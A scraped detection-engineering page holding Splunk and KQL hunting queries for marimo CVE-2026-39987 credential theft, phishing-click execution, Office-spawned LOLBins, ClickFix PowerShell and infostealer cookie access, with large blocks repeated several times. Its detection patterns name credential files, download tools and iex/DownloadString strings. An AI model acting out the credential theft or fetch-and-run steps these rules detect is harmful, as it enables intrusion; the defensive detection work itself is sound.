| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
2026-01-165 use cases3 techniques3 kill-chain phases detected
The business social networking site is a vast, publicly accessible database of corporate information. Don’t believe everyone on the site is who they say they are.
ATT&CKT1190T1555.003T1566
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
—
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Likely
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · PowerShell encoded / obfuscated command
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Article-specific behavioural hunt — Inside the LLM | Understanding AI & the Mechanics of Modern Attacks
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
